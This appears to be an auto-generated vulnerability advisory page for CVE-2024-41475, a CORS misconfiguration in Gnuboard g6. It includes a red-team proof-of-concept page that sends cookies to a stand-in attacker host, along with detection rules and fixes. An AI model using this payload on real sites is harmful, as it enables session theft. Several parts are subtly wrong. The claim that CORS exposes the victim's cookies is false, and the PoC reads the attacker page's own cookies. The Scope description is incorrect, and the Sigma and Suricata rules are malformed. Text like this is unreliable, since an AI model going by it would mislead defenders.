CVE-2024-41475
Executive Summary
CVE-2024-41475 identifies a session hijacking vulnerability in Gnuboard g6 version 6.0.7, caused by a Cross-Origin Resource Sharing (CORS) misconfiguration. The application does not properly restrict which origins can make cross-origin requests, allowing an attacker to craft a malicious page that, when visited by an authenticated user, can steal the user's session cookie. This can lead to unauthorized access to the victim's account and data within the Gnuboard application.
The vulnerability is classified as medium severity (CVSS 3.1 base score 5.4) due to the requirement for user interaction and the limited impact on confidentiality and integrity. No official patch is available from the vendor, making mitigation dependent on manual configuration changes or Web Application Firewall (WAF) rules.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a standalone PHP application (Gnuboard g6). No supply chain compromise is involved.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector (AV): Network (N) – The attack is launched over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
- User Interaction (UI): Required (R) – The victim must click a link or visit a malicious page.
- Scope (S): Unchanged (U) – The vulnerable component and the attacker's component are the same.
- Confidentiality (C): Low (L) – Limited session data is exposed.
- Integrity (I): Low (L) – The attacker can perform actions as the victim but with limited scope.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. Exploitation requires user interaction, but the impact can be significant if the victim has administrative privileges.
Deep Dive & Mechanics
The vulnerability stems from a misconfigured CORS policy in Gnuboard g6 6.0.7. The application's server-side code likely sets overly permissive CORS headers, such as Access-Control-Allow-Origin: * or reflects the Origin header without proper validation. This allows any website to make cross-origin requests to the Gnuboard application.
When an authenticated user visits a malicious page (e.g., via a phishing link), the attacker's JavaScript can send a request to the Gnuboard server. Because the browser automatically includes cookies for the target domain (if the SameSite attribute is not set to Strict or Lax), the attacker can read the response and extract the session cookie. This is a classic Cross-Site Request Forgery (CSRF) variant combined with session hijacking.
Key Technical Details:
- The vulnerable endpoint is likely the login or session validation API.
- The CORS misconfiguration allows the
Access-Control-Allow-Credentials: trueheader to be set, enabling cookie inclusion. - The attacker can then use the stolen session cookie to impersonate the victim.
Vulnerable vs. Patched Code
Since no official patch exists, the following shows the vulnerable configuration and a recommended fix.
Vulnerable Code (PHP example - likely in common.php or config.php):
// Vulnerable: Reflects any origin
header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']);
header("Access-Control-Allow-Credentials: true");
header("Access-Control-Allow-Methods: GET, POST, OPTIONS");
Patched Code (Recommended Fix):
// Patched: Restrict to specific origins
$allowed_origins = ['https://trusted-domain.com', 'https://another-trusted.com'];
if (in_array($_SERVER['HTTP_ORIGIN'], $allowed_origins)) {
header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']);
header("Access-Control-Allow-Credentials: true");
} else {
header("Access-Control-Allow-Origin: null");
}
header("Access-Control-Allow-Methods: GET, POST, OPTIONS");
Alternative Mitigation (if no specific origins are needed):
// Remove CORS headers entirely if not required
// header_remove("Access-Control-Allow-Origin");
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A running instance of Gnuboard g6 6.0.7.
- A victim user who is authenticated.
- A malicious website controlled by the attacker.
Exploit Steps:
- Host the following HTML/JavaScript on the attacker's server (e.g.,
evil.com). - Send a phishing link to the victim (e.g., via email or social media).
- When the victim clicks the link and is authenticated to Gnuboard, the script steals the session cookie.
Exploit Code (HTML + JavaScript):
<!DOCTYPE html>
<html>
<head>
<title>Session Hijack PoC</title>
</head>
<body>
<h1>Click me!</h1>
<script>
// Replace with the target Gnuboard URL
var targetUrl = "https://victim-gnuboard.com/";
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("GET", targetUrl, true);
xhr.onload = function() {
// Send the stolen cookie to attacker's server
var img = new Image();
img.src = "https://attacker.com/steal?cookie=" + document.cookie;
};
xhr.send();
</script>
</body>
</html>
Expected Outcome: The attacker receives the victim's session cookie and can use it to impersonate the victim.
Blue Team (Detection & Prevention)
Detection:
- Monitor for unexpected
Originheaders in requests to Gnuboard. - Look for
Access-Control-Allow-Origin: *or reflected origins in server responses. - Alert on cross-origin requests that include credentials.
Prevention:
- Implement a strict CORS policy as shown in the patched code.
- Set the
SameSiteattribute on session cookies toStrictorLax. - Use a Web Application Firewall (WAF) to block requests with suspicious
Originheaders. - Educate users about phishing attacks.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests with
Originheader set to an unexpected domain (e.g.,evil.com). - HTTP responses containing
Access-Control-Allow-Origin: *orAccess-Control-Allow-Origin: <untrusted-domain>. - Outbound connections from the victim's browser to attacker-controlled servers (e.g.,
attacker.com/steal?cookie=...).
- HTTP requests with
Host IOCs:
- Unusual session activity from an IP address not associated with the user.
- Multiple failed login attempts from the same IP (if the attacker tries to brute-force after hijacking).
Log IOCs:
- Web server logs showing
OPTIONSrequests (preflight) with unexpectedOriginheaders. - Application logs showing session IDs being used from different IPs in quick succession.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2024_41475_CORS_Misconfig {
meta:
description = "Detects CORS misconfiguration in Gnuboard g6 6.0.7"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-41475"
strings:
$cors_any = "Access-Control-Allow-Origin: *" nocase
$cors_reflect = "Access-Control-Allow-Origin: " nocase
$cors_creds = "Access-Control-Allow-Credentials: true" nocase
condition:
any of ($cors_any, $cors_reflect) and $cors_creds
}
Sigma Rule
title: CORS Misconfiguration in Gnuboard g6
id: 8f4b3c2a-1e5d-4f7a-9b0c-3d6e8f1a2b4c
status: experimental
description: Detects CORS headers that allow any origin with credentials in Gnuboard g6 6.0.7
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: http
detection:
selection:
response_header|contains:
- 'Access-Control-Allow-Origin: *'
- 'Access-Control-Allow-Origin: http://'
- 'Access-Control-Allow-Origin: https://'
response_header|contains: 'Access-Control-Allow-Credentials: true'
condition: selection
falsepositives:
- Legitimate use of CORS with specific origins (should be whitelisted)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-41475 - CORS Misconfiguration in Gnuboard g6"; flow:to_server; content:"Access-Control-Allow-Origin"; http_server_body; nocase; content:"Access-Control-Allow-Credentials"; http_server_body; nocase; pcre:"/Access-Control-Allow-Origin:\s*\*/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Restrict CORS Policy: Modify the server configuration to only allow trusted origins. If CORS is not required, remove the headers entirely.
- Set Cookie Attributes: Ensure session cookies have the
SameSite=StrictorSameSite=Laxattribute to prevent cross-origin inclusion. - Use HTTPS: Enforce HTTPS to prevent cookie theft over unencrypted connections.
Long-Term Fix:
- Apply the patched code example provided in the "Vulnerable vs. Patched Code" section.
- Monitor the vendor's website for an official patch.
- Consider migrating to a supported version or alternative solution if no patch is released.
Workarounds:
- Implement a Web Application Firewall (WAF) rule to block requests with
Originheaders that do not match a whitelist. - Disable CORS entirely if the application does not require cross-origin requests.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.